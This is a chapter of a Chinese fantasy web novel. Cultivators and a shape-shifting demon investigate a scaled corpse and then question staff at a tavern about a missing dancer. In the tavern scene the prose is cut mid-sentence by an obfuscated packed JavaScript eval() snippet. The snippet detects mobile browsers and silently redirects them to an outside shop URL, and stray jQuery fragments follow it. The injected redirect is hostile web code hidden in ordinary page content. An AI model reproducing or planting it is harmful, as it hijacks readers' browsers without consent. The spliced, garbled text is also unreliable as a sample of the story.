7. 007
    平江城南树木杂乱,大大小小的山丘阻隔,燕辞归拨了拨面前的白雾,紧盯着剑下。

    同其尘这御剑的能力倒是涨了不少,飞的很稳,任卷舒以小黑猫的形态爬在他肩膀。黑夜里人的视力不比猫,她尾巴轻轻甩着,“右前方的小河旁,站了个穿蓝袍的,该是你们门派的人。”

    燕辞归还没等瞅见,同其尘已经冲着她说的方向窜了下去。

    “不是,你慢点。”燕辞归看着直直冲下去的一道蓝影,也紧跟下去。

    “大师兄。”弟子握剑行礼,低头时扫了眼一旁的红衣女子。

    “就发现这一具?”同其尘将剑收起,任卷舒拿出腰间小香袋。

    弟子回头看了眼地上躺着的怪尸,可见之处都是黑青色的鳞片,两颗白色尖牙抵着乌黑的下唇,“目前就发现这一具,其他地方还没来的及搜查。”他回过头吓了一跳,这悄无声息的又冒出了一位白衣女子。

    同其尘蹲下身,挑了下怪尸身上被剑划破的衣服,弟子见状说:“这剑痕是刚在阻拦时留下的,他行动异常奇怪,像是行尸走肉一般,卯着劲往前走,不攻击也不反抗,本以为他要去这河里,没曾想快要走到的时候,扑通一下倒在了这。”

    燕辞归收起手里的剑,与任卷舒一同蹲下,这怪尸身上的伤痕渗出墨绿色的粘液,雪芽抬手在鼻子前遮了遮,死物的气味在她这里会被放大好几倍。

    同其尘在他身上摸索了一遍,除了腰间藏着的几枚文钱,没有其他发现。

    “看今天这个物种,应该是个蛇。”燕辞归说。

    任卷舒使劲嗅了下,顺着气味往裤脚去,在卷起裤腿里藏了朵黄色的小花,不只是它的气味,也有那夹竹桃的味道。她将花递到同其尘面前,“这是什么花?”

    “钩吻,又叫断肠草。”同其尘说着,燕辞归已经把这冠状黄花拿到手里。

    “此花也有毒。”燕辞归指尖捏转这朵小黄花,“不过这个玩意很难下毒,因为太苦了。”

    任卷舒问:“之前那些怪尸身上有没有夹竹桃的香味,或者是别的异香?”

    “没有。”同其尘打量着手里的文钱,“人死之后,气味留存的时间会更短。”

    “嗯,城东城南离得并不近,若这怪尸从城东而来必定引人耳目。”任卷舒顿了下,“看来这城南也不太平。”

    “城东城北可有人守着?”见方才的弟子点头,同其尘又说,“回去长留山领些弟子,一批在城南扫寻,一批去城西守着。”

    “好。”

    燕辞归起身,四处看了看,“方才可有别的异象?”

    弟子摇头。

    “这具怪尸就自己晃晃悠悠过来的?”燕辞归晃到雪芽面前,“你不是会驭尸之术,可能看出他是被什么东西指使来的?”

    这人还好意思提?雪芽不喜他,稍稍侧身朝向任卷舒,才开口说:“不能,驭尸之术定要有人在身旁用法器操控者,你们这位弟子不是说,只见怪尸一人,并未有其他异象。”

    这就怪了。

    沉默了片刻,同其尘才开口,“驭尸之术也可用符,事成符毁,不留痕迹。”

    “不可能,那有这样的符修之术。”燕辞归一口否认。论剑修他与同其尘争不出高低,但是这符修,他可是更为厉害,怎么会有他不知道的,“师父教的,我一字未落,甚至还多学了不少。”

    同其尘抿了下嘴,开口道:“自然是有,只是你还不知。”

    任卷舒倏的一下窜到同其尘面前,“还说你没看禁术,说,到底用何法术吞的我那妖丹。”

    他吓了一跳,离得太近,甚至闻到了任卷舒身上的香气,往后退了一步,脸不红心不跳的说:“之前在民间无意听到。”

    “那这样说,是你们的人出了乱子。”雪芽在一旁说了一嘴。

    “哎?话可不能乱讲,我们长留山的弟子个个都是品相端正。”燕辞归说,“这江湖上不少道士都会符修,再说,这也就是同其尘的猜测,说不定是比你道行更深的妖怪所为。”

    雪芽表情柔和,声音也轻,“只是随口一提,你怎么还急了。”

    “谁急了,谁急了。”燕辞归手臂环剑转向一边,“我可没急。”

    任卷舒思索了一下,“那明天分开调查,我们回城东调查今晚的三个黑衣人,你们在城南查这怪尸的来路。”

    “我们凭什么听你差遣。”燕辞归手臂搭上同其尘的肩膀,仰着个小脸说。

    “我随你去城东。”

    “就是,我随你……”燕辞归念出几个字后,才反应过来同其尘说的话,反手拍了他一巴掌,“不是,你怎么就跟她走了。”

    差点忘了,这小子可是净影道长给她派过来的小仆人,任卷舒挑了下眉,“也好,万一有个什么情况,省的我自己动手了。”

    “好啥好。”燕辞归跳到两人中间,“不是,你们都去城东了,这就留我一个人啊。”

    雪芽本来正对着他,听完这的话,静静转过头走到任卷舒身后,“走吧,先找个地方休息。”

    好了,这立场很明显。他偏过头,伸手指着同其尘,“叛徒,你跟她走干什么。”

    同其尘将他的手指按下,“情况特殊。”

    看着三人离开的背影,燕辞归咋呼着跺了两下地,又在后面跟上,“等等我啊。”

    第二天一早,同其尘便在走廊里等着,见太阳逐渐爬上头顶,身后的房门才有了点动静。

    任卷舒睡了个好觉,双手拽开门,抻着身上的懒筋。转动勃颈时,才扫到一旁还直溜溜的站了个人,“起挺早啊。”

    同其尘瞧了眼头顶的太阳,“你起得倒挺晚。”

    “还行吧。”任卷舒转头看他,“起早了又没用,那酒楼最早也要午时才开门。”

    “去酒楼干什么?”

    “找映春啊。”任卷舒说完,看着同其尘的表情,他虽然没说话,脸上却显出‘不务正业’四个字。

    “这偌大的平江城,那三个黑衣人身上的异香,我只在映春身上闻到过,去找她总比毫无头绪的乱撞好吧。”

    任卷舒一边说一边围着他转,转的同其尘头脑晕乎,竟也觉得她这话十分有道理。

    稍作整装,三人一同去往这平江城东的醉仙楼。

    任卷舒半路拦着同其尘换了身行头,他这一身浅蓝袍,打眼一看就知道是长留山弟子,城内的妖怪本就不漏痕迹,他往身边一站,估计映春都不敢来给她斟酒。

    换上寻常的衣裳,看着都顺眼了不少。

    醉仙楼午时的客人一点也不比晚间少,任卷舒来了一次,就已经轻车熟路。

    “小二,安排个三楼上好的位置。”任卷舒瞧着戏台上的舞娘,映春似乎不在。

    店小二手持筷碟菜单,抹布往肩上一搭,转身瞅见她时愣了下,眼睛一提溜立马笑着说:“哎吆,客官你又来了,快里面请。”话落扫了眼她身后多出的男子。

    同其尘身后背着剑,脸上没什么表情,安静的打量着酒楼里的一切。

    任卷舒跟在店小二

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13369312|140953||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    身后上楼,“映春姑娘今日不在?”

    “这个小的也不知,待会我给客官去看看。”店小二脸上陪着笑说。

    入座后点菜,任卷舒想着同其尘头回来,让他先点几个。听着他念得两个菜名,任卷舒皱了皱眉头,这人也就是个道士,又不是那和尚需要忌荤。

    雪芽又点了几道荤菜,任卷舒朝同其尘抬头示意了下,“喝不喝酒?”

    “不饮酒。”同其尘摇头,给自己倒了杯热茶。

    无趣,她转头对着小二说,“再来壶上好的桂花酿。”

    “这城内的妖不知道用了什么法子,妖气都掩盖的甚好。”任卷舒瞧着他,“你这一路过来有没有察觉到妖气?”

    “并未。”

    她手指转着杯子,啧了声。同其尘扫了眼这不合礼数的动作,低头品了口茶,并未说什么。

    原本想着跟这城内的妖打听打听,这可倒好,连个妖气都闻不见。任卷舒思量了半天,“午后,调查一下这城内可有失踪人口。”出了这么多怪尸,不可能一点异象都没有吧。

    “长留山的弟子已经查过,城内并无人口失踪。”

    雪芽漫不经心的说:“你这长留山弟子们,调查的可仔细?”

    “那是自然。”

    任卷舒有些恼闷,怎么这也不是,那也不是。

    饭菜吃到一半,舞娘们纷纷开始下场斟酒,她仔细瞅了两遍,没见映春姑娘。还有那个店小二,说是给瞧瞧,也不知道瞧到哪里去了。

    一个小舞娘打量了眼桌上的三人,迈着婀娜的步伐先走到男人身边,手里拿起酒壶,衣袖一挑。还没等坐下,同其尘迅速弹到一旁,眼底的惊恐化为不解,偏过脸不看她。

    小舞女本想搭着他的肩坐下,结果被框了一下,半坐半倒在这长凳上。

    任卷舒没忍住笑了两声,对着小舞娘招了招手,“美人来我这边,别跟那人计较,他无趣的很,怕是过两天便要去出家了。”

    小舞娘眉眼含情走到她身边,靠近坐着为她斟酒,笑着说:“姐姐自是好酒量。”

    平日里,舞女定不会和客人太亲近,饮酒的多半是男人,手脚毛躁的很。女子就不一样了,贴一贴靠一靠都是自愿。

    同其尘也不说话,板板正正的坐好。任卷舒笑着收回视线,看向旁边的小舞娘说:“今日怎么没看见叫映春的那名舞娘?”

    说完明显感觉到了身侧的人怔了一下。

    小舞娘反应极快,纤纤玉指戳着她的脸颊往一旁推,“我在这怀侧候着,姐姐怎么还提别人,这可叫我好伤心。”

    “怎会,你在这,我那还想敢想别的。”任卷舒理了下她乌黑的发丝,“自是因为我昨天跟她打听了些事,这才提及起来。”

    同其尘看不下去,怎会和那混迹情场的风流人士一样。偏过头时,看见雪芽一脸淡然的吃饭,像是对这般场景早已司空见惯。

    “映春姐姐应是生病了,具体的我可不知。”

    “那你们这谁知到她的住处?”

    小舞娘起身故作生气的小模样,“我在这搭话,姐姐句句不离映春,真叫人懊恼。姐姐这么想知道便问那管事的店小二。”

    说罢她转身继续去给下一桌斟酒。

    任卷舒笑着拿起酒杯一饮而尽。

    同其尘扫了她一眼,还以为她会追上去将人拉住,“这舞女应是撒了谎。”

    任卷舒夹了口菜,“那店小二怕是也撒了谎。”

    三个人交换了眼神,默默吃着饭菜。